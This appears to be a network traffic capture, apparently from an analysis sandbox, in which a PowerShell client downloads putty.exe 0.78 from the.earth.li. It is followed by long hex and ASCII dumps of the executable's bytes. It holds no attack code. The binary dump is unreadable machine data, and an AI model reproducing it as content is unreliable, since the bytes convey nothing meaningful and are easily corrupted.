                                                                                                                                                  2022-12-04 11:05:57 UTC0OUTGET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1
                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1
                                                                                                                                                  Host: the.earth.li
                                                                                                                                                  2022-12-04 11:05:57 UTC0INHTTP/1.1 200 OK
                                                                                                                                                  Date: Sun, 04 Dec 2022 11:05:57 GMT
                                                                                                                                                  Server: Apache
                                                                                                                                                  Last-Modified: Fri, 28 Oct 2022 17:30:02 GMT
                                                                                                                                                  ETag: "168b28-5ec1b9b96afd8"
                                                                                                                                                  Accept-Ranges: bytes
                                                                                                                                                  Content-Length: 1477416
                                                                                                                                                  Connection: close
                                                                                                                                                  Content-Type: application/x-msdos-program
                                                                                                                                                  2022-12-04 11:05:57 UTC1INData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 08 00 85 10 5c 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 52 0c 00 00 dc 09 00 00 00 00 00 36 e1 09 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 16 00 00 04 00 00 d4 29 17 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ce 0f 00 b4 00 00
                                                                                                                                                  Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL\cR6@)@X
                                                                                                                                                  2022-12-04 11:05:57 UTC8INData Raw: 04 50 6a ff ff 15 44 d7 4f 00 89 c3 83 c0 01 83 f8 02 72 30 ff 34 24 6a 00 6a 00 6a 02 53 ff 15 b8 d8 4f 00 85 c0 74 1c ff 34 24 ff 37 50 89 44 24 14 e8 fa d8 09 00 83 c4 0c ff 74 24 08 ff 15 30 d9 4f 00 57 e8 a7 6b 03 00 83 c4 04 ff 34 24 53 56 68 04 e1 4d 00 e8 d5 5a 03 00 83 c4 10 89 c6 bf 01 00 00 00 e9 a0 07 00 00 3d 80 01 00 00 0f 84 45 08 00 00 3d 90 01 00 00 0f 85 ae 08 00 00 6a 01 68 d4 70 4c 00 ff 35 38 17 50 00 89 d6 e8 7c db 00 00 89 f2 83 c4 0c e9 25 09 00 00 83 f8 50 0f 84 1f 08 00 00 83 f8 60 0f 85 7e 08 00 00 ff 35 38 17 50 00 89 d6 e8 53 b4 00 00 e9 fc 08 00 00 3d a0 01 00 00 0f 84 4d 08 00 00 3d 70 f0 00 00 0f 85 56 08 00 00 81 fd 12 01 00 00 0f 85 df 08 00 00 c6 05 cb 1d 50 00 01 52 53 68 12 01 00 00 57 ff 15 88 d5 4f 00 89 c6 c6 05 cb
                                                                                                                                                  Data Ascii: PjDOr04$jjjSOt4$7PD$t$0OWk4$SVhMZ=E=jhpL58P|%P`~58PS=M=pVPRShWO
                                                                                                                                                  2022-12-04 11:05:57 UTC16INData Raw: 50 00 e8 9a 29 03 00 83 c4 08 0f b6 f8 8d 2c fd 00 00 00 00 68 8a 00 00 00 ff 35 f0 0b 50 00 e8 7d 29 03 00 83 c4 08 8d 3c fd 00 02 00 00 84 c0 0f 44 fd c6 05 18 17 50 00 01 e8 e2 c5 ff ff 6a 00 ff 74 24 5c 6a 00 6a 00 53 ff 74 24 18 68 00 00 00 80 68 00 00 00 80 56 8b 4c 24 24 89 cb 51 50 57 ff 15 7c d5 4f 00 a3 04 00 50 00 85 c0 75 1a ff 15 e8 d7 4f 00 50 e8 d4 81 03 00 83 c4 04 50 68 63 0b 4e 00 e8 66 08 00 00 c7 05 30 17 50 00 00 00 00 00 c7 05 2c 17 50 00 00 00 00 00 c7 05 28 17 50 00 00 00 00 00 c7 05 24 17 50 00 00 00 00 00 c7 05 20 17 50 00 00 00 00 00 c7 05 1c 17 50 00 00 00 00 00 83 3d 80 1d 50 00 00 74 4e 8b 0d 84 1d 50 00 85 c9 74 44 6a 01 50 ff d1 8d 4c 24 08 8d 54 24 18 51 52 6a 00 50 ff 15 80 1d 50 00 85 c0 75 15 8b 4c 24 18 89 0d 1c 17 50
                                                                                                                                                  Data Ascii: P),h5P})<DPjt$\jjSt$hhVL$$QPW|OPuOPPhcNf0P,P(P$P PP=PtNPtDjPL$T$QRjPPuL$P
                                                                                                                                                  2022-12-04 11:05:57 UTC24INData Raw: 00 5e 5b c3 68 75 04 00 00 68 ea 2f 4f 00 68 f4 88 4f 00 e8 7c 6a 0a 00 83 c4 0c e8 01 00 00 00 cc e8 9c 71 0a 00 cc cc cc cc cc cc cc cc cc cc cc 57 56 83 3d a4 17 50 00 00 74 17 68 f7 12 00 00 68 ea 2f 4f 00 68 28 2d 4f 00 e8 44 6a 0a 00 83 c4 0c a1 04 00 50 00 31 ff 85 c0 74 1e 50 ff 15 e4 d5 4f 00 85 c0 74 13 89 c6 6a 00 ff 35 78 17 50 00 50 ff 15 f4 d4 4f 00 89 f7 89 3d a4 17 50 00 85 ff 0f 95 c0 5e 5f c3 cc cc cc cc cc cc cc 55 53 57 56 83 ec 08 8d 7c 24 38 8b 6c 24 30 8b 5c 24 2c 8b 74 24 28 8b 54 24 24 8b 4c 24 20 85 ed 78 1b 8b 07 8b 7f 04 57 50 ff 74 24 3c 55 53 56 e8 8a 1e 00 00 83 c4 20 e9 59 02 00 00 b9 01 00 00 00 83 fb 02 7c 25 0f b7 06 25 00 fc 00 00 3d 00 d8 00 00 75 16 0f b7 46 02 25 00 fc 00 00 31 c9 3d 00 dc 00 00 0f 94 c1 83 c1 01 89
                                                                                                                                                  Data Ascii: ^[huh/OhO|jqWV=Pthh/Oh(-ODjP1tPOtj5xPPO=P^_USWV|$8l$0\$,t$(T$$L$ xWPt$<USV Y|%%=uF%1=
                                                                                                                                                  2022-12-04 11:05:57 UTC32INData Raw: 17 50 00 50 ff 15 f4 d4 4f 00 89 fe 89 f0 5e 5f c3 55 53 57 56 81 ec ac 00 00 00 89 54 24 14 89 ca 8b bc 24 cc 00 00 00 a1 34 00 50 00 31 e0 31 db 89 f9 83 e1 03 0f 95 c3 83 c3 01 0f af 1d 00 17 50 00 8b 8c 24 c8 00 00 00 89 0c 24 c1 e9 16 80 e1 01 89 84 24 a8 00 00 00 89 de d3 e3 83 e7 03 74 15 8d 04 12 8b 0d 38 17 50 00 3b 81 2c 01 00 00 0f 8d 53 0f 00 00 a1 04 17 50 00 31 ed f7 84 24 c8 00 00 00 00 00 00 40 75 0a c7 44 24 0c 00 00 00 00 eb 49 83 3d b0 17 50 00 00 74 0f 8b 0d 38 17 50 00 80 b9 43 01 00 00 00 74 de 8b 0d b0 78 4c 00 8d ac 24 d0 00 00 00 89 4d 04 89 4d 00 31 ed 8b 8c 24 c8 00 00 00 81 e1 00 00 cc fe 81 c9 04 0b 02 00 89 0c 24 b1 01 89 4c 24 0c 0f af f2 89 f2 8b 4c 24 14 0f af c8 89 4c 24 14 c7 44 24 08 01 00 00 00 85 ff 89 5c 24 1c 74 09
                                                                                                                                                  Data Ascii: PPO^_USWVT$$4P11P$$$t8P;,SP1$@uD$I=Pt8PCtxL$MM1$$L$L$L$D$\$t
                                                                                                                                                  2022-12-04 11:05:57 UTC40INData Raw: 44 24 44 39 c6 0f 4c f0 d9 c0 d8 84 24 b0 00 00 00 d8 84 24 b4 00 00 00 d8 84 24 b8 00 00 00 d9 7c 24 02 0f b7 44 24 02 0d 00 0c 00 00 66 89 44 24 16 d9 6c 24 16 db 5c 24 48 d9 6c 24 02 8b 44 24 48 39 c6 0f 4c f0 d8 84 24 bc 00 00 00 d8 84 24 c0 00 00 00 d8 84 24 c4 00 00 00 d9 3c 24 0f b7 04 24 0d 00 0c 00 00 66 89 44 24 14 d9 6c 24 14 db 5c 24 4c d9 2c 24 8b 44 24 4c 39 c6 0f 4c f0 eb 03 8b 76 18 8b 8c 24 c8 00 00 00 31 e1 e8 bd 33 09 00 89 f0 81 c4 cc 00 00 00 5e c3 cc cc cc ff 35 04 00 50 00 ff 15 58 d6 4f 00 85 c0 74 15 6a f0 ff 35 04 00 50 00 ff 15 28 d6 4f 00 a9 00 00 c0 00 74 2e ff 35 04 00 50 00 ff 15 58 d6 4f 00 85 c0 74 05 e9 a6 01 00 00 6a 00 6a 00 68 03 80 00 00 ff 35 04 00 50 00 ff 15 bc d6 4f 00 6a 03 eb 02 6a 09 ff 35 04 00 50 00 ff 15 0c
                                                                                                                                                  Data Ascii: D$D9L$$$|$D$fD$l$\$Hl$D$H9L$$$<$$fD$l$\$L,$D$L9Lv$13^5PXOtj5P(Ot.5PXOtjjh5POjj5P
                                                                                                                                                  2022-12-04 11:05:57 UTC47INData Raw: 83 c4 18 8d 8b ff ff fe ff 81 f9 fe ff 0f 00 0f 87 3c ff ff ff 8d 93 00 00 ff 03 c1 ea 0a 81 c2 00 d8 ff ff 8d 4f 01 81 e3 ff 03 00 00 81 cb 00 dc 00 00 66 89 5c 78 02 e9 18 ff ff ff 90 90 90 90 81 4c 24 48 00 00 00 80 8b 44 24 30 8b 4c 24 10 eb 18 90 90 90 90 90 90 90 90 90 90 90 90 90 90 8b 44 24 30 8b 4c 24 10 89 fa 8b 6c 24 08 8b 5c 24 18 84 db 0f 85 a8 00 00 00 89 54 24 04 8b 3c 24 8b 47 18 8b 4c 24 10 8b 0c 88 89 ea ff 74 24 44 e8 4a a7 00 00 8b 4c 24 14 83 c4 04 8b 47 18 8b 04 88 8b 40 14 89 ee 8b 6c 24 64 8b 54 24 28 89 14 28 8b 47 18 8b 04 88 8b 40 14 8b 54 24 2c 89 54 28 04 8b 47 18 8b 04 88 8b 40 14 8b 5c 24 40 89 5c 28 0c 8b 54 24 0c 89 54 28 08 89 f5 89 d8 c1 e8 10 89 44 24 54 89 d0 c1 e8 10 89 44 24 5c c1 eb 18 89 5c 24 50 c1 ea 18 89 54 24
                                                                                                                                                  Data Ascii: <Of\xL$HD$0L$D$0L$l$\$T$<$GL$t$DJL$G@l$dT$((G@T$,T(G@\$@\(T$T(D$TD$\\$PT$
                                                                                                                                                  2022-12-04 11:05:57 UTC55INData Raw: 10 00 00 01 c6 86 55 01 00 00 00 68 3c 13 4f 00 e8 0c 01 03 00 83 c4 04 89 86 2c 11 00 00 68 3c 13 4f 00 e8 f9 00 03 00 83 c4 04 89 86 30 11 00 00 c7 86 38 11 00 00 00 00 00 00 c7 86 34 11 00 00 00 00 00 00 c6 86 3c 11 00 00 00 c7 86 d4 20 00 00 00 00 00 00 c6 86 bc 20 00 00 00 c6 86 be 20 00 00 00 c6 86 c0 20 00 00 00 66 c7 86 c2 20 00 00 00 00 c6 86 c4 20 00 00 00 66 c7 86 c6 20 00 00 00 00 c6 86 c8 20 00 00 00 c7 86 a0 20 00 00 00 00 00 00 c7 86 a4 20 00 00 00 00 00 00 c7 86 a8 20 00 00 00 00 00 00 c7 86 ac 20 00 00 00 00 00 00 c6 86 b0 20 00 00 00 e8 62 c1 00 00 89 86 40 11 00 00 89 f1 31 d2 e8 13 00 00 00 89 f0 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 0c 89 54 24 04 89 ce 8d 81 56 14 00 00 68 06 01 00 00 6a 01 50 e8 30 22
                                                                                                                                                  Data Ascii: Uh<O,h<O084< f f b@1^_[]USWVT$VhjP0"
                                                                                                                                                  2022-12-04 11:05:57 UTC63INData Raw: 0c 00 0f 84 49 fb ff ff ff 76 14 e8 31 8b 02 00 83 c4 04 56 e8 28 8b 02 00 83 c4 04 e9 30 fb ff ff 8b 47 60 8b 7f 64 8d 4c 24 4c 31 f6 31 d2 57 50 6a 00 e8 69 7e 00 00 83 c4 0c 8b 94 24 c8 00 00 00 85 d2 7e 67 8b bc 24 c4 00 00 00 0f b6 ac 24 c0 00 00 00 31 c9 eb 11 90 90 90 90 90 90 90 90 89 d9 83 c6 01 39 f2 74 3e 89 cb 8b 04 b7 85 c0 74 ee b1 01 83 f8 01 74 e9 8b 4c 24 14 8b 91 5c 10 00 00 8b 0a 55 ff 74 24 54 ff 74 24 6c ff 74 24 68 ff 74 24 64 50 52 ff 51 2c 8b 94 24 e4 00 00 00 83 c4 1c eb b9 f6 c1 01 75 26 ff 74 24 54 e8 8b 8a 02 00 83 c4 04 ff 74 24 5c e8 7f 8a 02 00 83 c4 04 ff 74 24 64 e8 73 8a 02 00 83 c4 04 eb 56 8b 74 24 14 ff b6 08 11 00 00 e8 5f 8a 02 00 83 c4 04 ff b6 0c 11 00 00 e8 51 8a 02 00 83 c4 04 ff b6 10 11 00 00 e8 43 8a 02 00 83
                                                                                                                                                  Data Ascii: Iv1V(0G`dL$L11WPji~$~g$$19t>ttL$\Ut$Tt$lt$ht$dPRQ,$u&t$Tt$\t$dsVt$_QC
                                                                                                                                                  2022-12-04 11:05:57 UTC71INData Raw: 83 bc 00 00 00 8b 04 24 8b 00 83 f8 04 0f 8f b3 00 00 00 83 c2 fb 83 fa 16 0f 87 42 22 00 00 ff 24 95 34 7b 4c 00 f6 06 01 0f 84 1b 02 00 00 83 be 58 10 00 00 00 0f 84 25 22 00 00 8b 86 a8 10 00 00 89 44 24 10 89 6c 24 08 8b ae ac 10 00 00 89 eb 01 eb 6a 00 6a 02 53 e8 13 6b 02 00 83 c4 0c 89 c7 53 50 55 8b 6c 24 14 ff 74 24 1c 6a 00 6a 00 e8 7a bd 02 00 83 c4 18 89 f1 89 fa 50 e8 0d e5 ff ff 83 c4 04 89 c3 57 e8 72 6b 02 00 83 c4 04 6a 00 ff 73 08 ff 33 ff b6 58 10 00 00 e8 dd 9e 00 00 83 c4 10 53 e8 44 71 02 00 83 c4 04 e9 ac 21 00 00 90 90 90 90 90 90 90 90 90 90 90 90 8b 04 24 8b 00 83 f8 0e 0f 87 92 21 00 00 ff 24 85 90 7b 4c 00 89 f1 e8 74 6d 00 00 8b 44 24 48 89 86 68 10 00 00 e9 75 21 00 00 8b 04 24 c7 00 00 00 00 00 8d 42 d0 83 f8 09 0f 87 60 03
                                                                                                                                                  Data Ascii: $B"$4{LX%"D$l$jjSkSPUl$t$jjzPWrkjs3XSDq!$!${LtmD$Hhu!$B`
                                                                                                                                                  2022-12-04 11:05:57 UTC79INData Raw: f7 df 8b 96 a4 00 00 00 89 f1 6a 01 57 ff b6 a8 00 00 00 e8 99 24 00 00 83 c4 0c c6 86 ae 00 00 00 00 e9 d3 02 00 00 f6 06 01 0f 84 f1 02 00 00 89 6c 24 08 8b 86 88 01 00 00 8b 8e 2c 01 00 00 39 c8 0f 47 c1 89 86 88 01 00 00 85 c0 bf 01 00 00 00 0f 45 f8 8b 96 94 00 00 00 8b 9e 98 00 00 00 89 f1 6a 01 68 45 13 00 00 e8 52 9c ff ff 83 c4 08 89 f1 89 44 24 24 89 c2 e8 02 2a 00 00 8b ae 2c 01 00 00 8b 86 94 00 00 00 8b 96 98 00 00 00 29 d5 39 ef 0f 4e ef 89 c7 89 f1 89 54 24 10 50 e8 bb 27 00 00 83 c4 04 8b 96 98 00 00 00 01 ea 89 f1 ff b6 94 00 00 00 e8 a3 27 00 00 83 c4 04 8b 96 34 0e 00 00 8b 8e 38 0e 00 00 31 c0 3b 8e 98 00 00 00 0f 9f c0 31 c9 3b 96 94 00 00 00 0f 9f c1 0f 44 c8 80 f9 01 75 4d 8b 4c 24 10 01 e9 31 c0 39 8e 30 0e 00 00 0f 9c c0 31 c9 39
                                                                                                                                                  Data Ascii: jW$l$,9GEjhERD$$*,)9NT$P''481;1;DuML$19019
                                                                                                                                                  2022-12-04 11:05:57 UTC86INData Raw: 00 00 00 8b 4c 24 28 31 e1 e8 c3 78 08 00 89 f0 83 c4 2c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc 8a 44 24 08 8b 4c 24 04 88 81 3c 11 00 00 c3 cc 8b 44 24 0c 8b 4c 24 08 8b 54 24 04 89 8a a0 20 00 00 89 82 a4 20 00 00 c3 cc cc cc cc cc cc cc 8b 44 24 0c 8b 4c 24 08 8b 54 24 04 89 8a a8 20 00 00 89 82 ac 20 00 00 c3 cc cc cc cc cc cc cc 55 53 57 56 83 ec 24 89 cf 8a 44 24 38 89 54 24 20 85 d2 74 0f 8b 97 94 00 00 00 8d 72 01 89 54 24 04 eb 14 8b 97 94 00 00 00 8b b7 28 01 00 00 c7 44 24 04 00 00 00 00 8a 64 24 3c 8b 8f 98 00 00 00 89 54 24 1c 89 4c 24 14 84 c0 74 33 89 74 24 08 c7 04 24 00 00 00 00 c7 44 24 0c 00 00 00 00 84 e4 0f 85 a9 00 00 00 3b 8f 2c 01 00 00 75 7d c7 44 24 14 00 00 00 00 8d 44 24 1c 89 d1 eb 71 80 bf ae 00 00 00 00 74 1a 89 f3 3b 8f
                                                                                                                                                  Data Ascii: L$(1x,^_[]D$L$<D$L$T$ D$L$T$ USWV$D$8T$ trT$(D$d$<T$L$t3t$$D$;,u}D$D$qt;
                                                                                                                                                  2022-12-04 11:05:57 UTC94INData Raw: 48 53 50 ff 51 04 83 c4 24 8b 86 5c 10 00 00 8b 08 57 53 50 ff 51 0c 83 c4 0c e9 93 00 00 00 8d 4c 24 40 0f b7 17 8b 86 5c 10 00 00 8b 19 8b 69 04 89 6c 24 0c 89 1c 24 89 5c 24 08 8b 08 89 4c 24 04 8b 5c 24 08 8b 4c 24 0c 51 53 8b 4c 24 38 52 8b 5c 24 48 53 ff 74 24 48 ff 74 24 48 51 ff 74 24 48 50 8b 44 24 28 ff 50 04 83 c4 24 f7 c3 00 00 00 60 74 3c 0f b7 17 8b 86 5c 10 00 00 89 6c 24 0c 8b 0c 24 89 4c 24 08 8b 08 8b 74 24 08 8b 7c 24 0c 57 56 52 ff 74 24 48 ff 74 24 48 ff 74 24 48 ff 74 24 48 ff 74 24 48 50 ff 51 08 83 c4 24 8b 4c 24 14 31 e1 e8 d4 58 08 00 83 c4 18 5e 5f 5b 5d c3 68 ff 16 00 00 68 7e 43 4f 00 68 68 2c 4f 00 e8 7b 50 09 00 83 c4 0c 83 fb 01 0f 84 bb fe ff ff 68 00 17 00 00 68 7e 43 4f 00 68 1e 70 4f 00 e8 5b 50 09 00 83 c4 0c f7 44 24
                                                                                                                                                  Data Ascii: HSPQ$\WSPQL$@\il$$\$L$\$L$QSL$8R\$HSt$Ht$HQt$HPD$(P$`t<\l$$L$t$|$WVRt$Ht$Ht$Ht$Ht$HPQ$L$1X^_[]hh~COhh,O{Phh~COhpO[PD$
                                                                                                                                                  2022-12-04 11:05:57 UTC102INData Raw: 88 9e 43 01 00 00 e9 7d 03 00 00 81 fa d4 07 00 00 0f 85 71 03 00 00 88 9e 54 01 00 00 e9 66 03 00 00 89 d8 34 01 88 86 3e 01 00 00 84 db 0f 84 c5 02 00 00 8a 86 cb 10 00 00 e9 c3 02 00 00 c7 86 20 0e 00 00 00 00 00 00 c7 86 2c 0e 00 00 00 00 00 00 c7 86 30 0e 00 00 00 00 00 00 c7 86 34 0e 00 00 00 00 00 00 c7 86 38 0e 00 00 00 00 00 00 80 be f4 10 00 00 00 75 1f 84 db b8 84 00 00 00 ba 50 00 00 00 0f 45 d0 89 f1 ff b6 28 01 00 00 e8 eb f8 ff ff 83 c4 04 88 9e c5 00 00 00 c7 86 a4 00 00 00 00 00 00 00 c7 86 78 01 00 00 00 00 00 00 8b 86 28 01 00 00 8b 8e 2c 01 00 00 8d 50 ff 89 96 a8 00 00 00 8d 79 ff 31 db 85 c9 0f 4f fb 89 96 7c 01 00 00 85 c0 0f 4f d3 89 be 98 00 00 00 89 96 94 00 00 00 c6 86 ae 00 00 00 00 89 f1 31 d2 6a 01 6a 01 e8 f4 c0 ff ff 83 c4
                                                                                                                                                  Data Ascii: C}qTf4> ,048uPE(x(,Py1O|O1jj
                                                                                                                                                  2022-12-04 11:05:57 UTC110INData Raw: b2 01 00 83 c4 08 88 46 30 6a 5b 57 e8 90 b2 01 00 83 c4 08 88 46 31 6a 02 57 e8 32 b3 01 00 83 c4 08 89 46 34 6a 5f 57 e8 24 b3 01 00 83 c4 08 89 46 38 6a 60 57 e8 16 b3 01 00 83 c4 08 89 46 3c 5e 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 8d 46 0c 50 e8 92 26 02 00 83 c4 04 8b 06 85 c0 74 0a c7 80 58 10 00 00 00 00 00 00 8b 46 04 85 c0 74 0b 8b 08 6a 00 50 ff 51 30 83 c4 08 8b 46 40 85 c0 74 09 50 e8 30 cf 01 00 83 c4 04 8b 46 2c 85 c0 74 0f 8d 4e 2c 39 48 3c 75 07 c7 40 3c 00 00 00 00 56 e8 51 96 00 00 83 c4 04 5e e9 08 cf 01 00 cc cc cc cc cc cc cc cc 53 56 50 8b 74 24 10 8b 46 3c b1 01 89 0c 24 b3 01 85 c0 74 19 83 f8 02 75 12 8b 46 04 8b 08 6a 00 50 ff 51 2c 83 c4 08 89 c3 eb 02 31 db 8b 46 38 85 c0 74 1f 83 f8 02 75 13 8b 46 04 8b
                                                                                                                                                  Data Ascii: F0j[WF1jW2F4j_W$F8j`WF<^_Vt$FP&tXFtjPQ0F@tP0F,tN,9H<u@<VQ^SVPt$F<$tuFjPQ,1F8tuF
                                                                                                                                                  2022-12-04 11:05:57 UTC118INData Raw: 74 24 20 e8 09 92 01 00 83 c4 08 85 db 0f 95 c3 56 e8 bb 91 01 00 83 c4 04 89 d8 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc a1 6c 1e 50 00 85 c0 75 2c 6a 00 68 f0 e0 41 00 ff 74 24 0c 6a 6e ff 35 e8 0b 50 00 ff 15 6c d5 4f 00 a3 6c 1e 50 00 6a 01 50 ff 15 0c d7 4f 00 a1 6c 1e 50 00 50 ff 15 c0 d6 4f 00 c3 cc cc cc 55 53 57 56 83 ec 20 31 ed 8b 44 24 38 8b 7c 24 34 83 f8 10 0f 84 ed 00 00 00 3d 11 01 00 00 0f 84 d5 00 00 00 3d 10 01 00 00 0f 85 f6 00 00 00 ff 35 7c 77 4c 00 68 64 3f 4e 00 e8 00 a5 01 00 83 c4 08 89 c6 50 57 ff 15 fc d6 4f 00 56 e8 bd af 01 00 83 c4 04 68 20 00 50 00 6a 02 68 92 01 00 00 68 e9 03 00 00 57 ff 15 b8 d6 4f 00 83 3d 74 1e 50 00 00 7e 2a 31 f6 8b 1d b8 d6 4f 00 90 ff 34 b5 78 1e 50 00 6a 00 68 80 01 00 00
                                                                                                                                                  Data Ascii: t$ V^_[]lPu,jhAt$jn5PlOlPjPOlPPOUSWV 1D$8|$4==5|wLhd?NPWOVh PjhhWO=tP~*1O4xPjh
                                                                                                                                                  2022-12-04 11:05:57 UTC126INData Raw: 01 00 00 ff 33 55 ff 15 b8 d6 4f 00 89 df 83 f8 ff 74 40 89 c3 6a 00 6a 00 68 8b 01 00 00 ff 37 55 ff 15 b8 d6 4f 00 89 f9 3b 77 04 75 3a 85 db 7e 36 89 d8 83 c0 ff 89 ce 8b 11 89 e9 50 53 89 f3 e8 8b 03 00 00 83 c4 08 bf 02 00 00 00 e9 2f 03 00 00 6a 00 ff 15 70 d6 4f 00 8b 54 24 38 89 fb 31 ff e9 1e 03 00 00 bf 02 00 00 00 3b 71 08 0f 85 55 02 00 00 83 c0 ff 39 c3 0f 8d 4a 02 00 00 89 d8 83 c0 01 89 ce 8b 11 89 e9 50 53 89 f3 e9 de 02 00 00 c6 43 14 01 8b 7e 04 8b 4e 08 8b 46 0c 6a 01 89 44 24 10 50 89 4c 24 10 51 57 ff 15 88 22 50 00 83 f8 ff 0f 84 30 02 00 00 89 f8 31 ff bd 01 00 00 00 be ff ff ff ff 6a 00 ff 74 24 10 ff 74 24 10 89 44 24 1c 50 ff 15 88 22 50 00 89 44 24 04 31 d2 8b 4c 24 0c eb 1f 90 90 90 90 85 ff 0f 44 f9 83 c5 01 83 c6 ff 81 fe 00
                                                                                                                                                  Data Ascii: 3UOt@jjh7UO;wu:~6PS/jpOT$81;qU9JPSC~NFjD$PL$QW"P01jt$t$D$P"PD$1L$D
                                                                                                                                                  2022-12-04 11:05:57 UTC133INData Raw: 20 56 e8 ca f3 08 00 83 c4 04 8b 0c 24 8b 7c 24 04 8b 6c 24 0c 8b 94 24 08 01 00 00 01 fa 29 d5 89 ea c1 ea 1f 01 ea d1 fa 01 fa 8b 6c 24 08 8b bc 24 04 01 00 00 01 cf 29 fd 89 ef c1 ef 1f 01 ef d1 ff 01 cf 50 56 52 57 53 ff 15 14 d5 4f 00 b3 01 8b 8c 24 5c 01 00 00 31 e1 e8 f1 bc 07 00 89 d8 81 c4 60 01 00 00 5e 5f 5b 5d c3 8b 3e 85 ff 0f 84 12 ff ff ff 83 7f 10 00 0f 84 08 ff ff ff 89 e8 2b 46 04 8b 94 24 74 01 00 00 c6 82 bc 00 00 00 00 8b 0f 31 db 83 c1 ff 83 f9 07 77 b2 ff 24 8d a4 e8 4c 00 81 bc 24 78 01 00 00 11 01 00 00 0f 85 d1 fe ff ff 89 f8 8b bc 24 7c 01 00 00 c1 ef 10 89 c5 80 78 2d 00 0f 84 50 04 00 00 8d 47 fd 83 f8 01 0f 87 d4 06 00 00 8b 42 34 83 ff 03 0f 85 f8 05 00 00 89 e9 85 c0 0f 85 fa 05 00 00 e9 f8 05 00 00 81 bc 24 78 01 00 00 11
                                                                                                                                                  Data Ascii: V$|$l$$)l$$)PVRWSO$\1`^_[]>+F$t1w$L$x$|x-PGB4$x
                                                                                                                                                  2022-12-04 11:05:57 UTC141INData Raw: c4 08 c3 8b 4c 24 04 31 e1 e8 03 9e 07 00 83 c4 08 e9 0b 00 00 00 cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 b8 2c 10 00 00 e8 f2 9d 07 00 a1 34 00 50 00 31 e0 89 84 24 28 10 00 00 c7 44 24 1c 00 00 00 00 c7 44 24 18 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 8d 44 24 1c 50 68 04 e9 4c 00 6a 01 6a 00 68 14 e9 4c 00 ff 15 40 d5 4f 00 b2 01 85 c0 0f 88 f2 02 00 00 8b 44 24 1c 8b 08 8d 54 24 10 8d 74 24 24 52 68 24 e9 4c 00 56 50 ff 51 10 85 c0 0f 88 cb 02 00 00 8b 44 24 10 8b 08 8d 54 24 20 52 50 ff 51 0c 85 c0 79 08 c7 44 24 20 00 00 00 00 8d 44 24 18 50 68 34 e9 4c 00 6a 01 6a 00 68 44 e9 4c 00 ff 15 40 d5 4f 00 85 c0 0f 88 93 02 00 00 e8 0f 0a 01 00 89 04 24 80 38 00 0f 84 23 01 00 00 31 f6 bb 1e 00 00 00 8b 14 24 eb 38 90 90 90 90 90
                                                                                                                                                  Data Ascii: L$1USWV,4P1$(D$D$D$D$D$PhLjjhL@OD$T$t$$Rh$LVPQD$T$ RPQyD$ D$Ph4LjjhDL@O$8#1$8
                                                                                                                                                  2022-12-04 11:05:57 UTC149INData Raw: 00 83 c4 0c 89 c7 6a 00 56 e8 43 4c 01 00 83 c4 08 85 c0 74 46 89 c3 31 ed eb 25 90 90 90 90 90 90 89 1c af 8b 03 89 84 af 00 02 00 00 83 c5 01 55 56 e8 1a 4c 01 00 83 c4 08 89 c3 85 c0 74 1d 83 fd 40 72 dc 6a 77 68 94 35 4f 00 68 54 62 4f 00 e8 3e 76 08 00 83 c4 0c eb c6 31 ed 89 f8 05 00 02 00 00 89 af 00 03 00 00 5e 5f 5b 5d c3 cc cc 57 56 8b 74 24 10 8b 7c 24 0c 85 f6 78 32 39 b7 00 01 00 00 7f 17 68 85 00 00 00 68 94 35 4f 00 68 76 1e 4f 00 e8 f9 75 08 00 83 c4 0c 8b 84 b7 00 fe ff ff ff 70 08 ff 50 04 83 c4 04 5e 5f c3 68 84 00 00 00 68 94 35 4f 00 68 72 14 4f 00 e8 cf 75 08 00 83 c4 0c 39 b7 00 01 00 00 7e b7 eb cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc b8 00 fe ff ff 03 44 24 04 50 e8 91 32 01 00 83 c4 04 c3 cc cc cc cc cc cc cc cc cc cc cc
                                                                                                                                                  Data Ascii: jVCLtF1%UVLt@rjwh5OhTbO>v1^_[]WVt$|$x29hh5OhvOupP^_hh5OhrOu9~D$P2
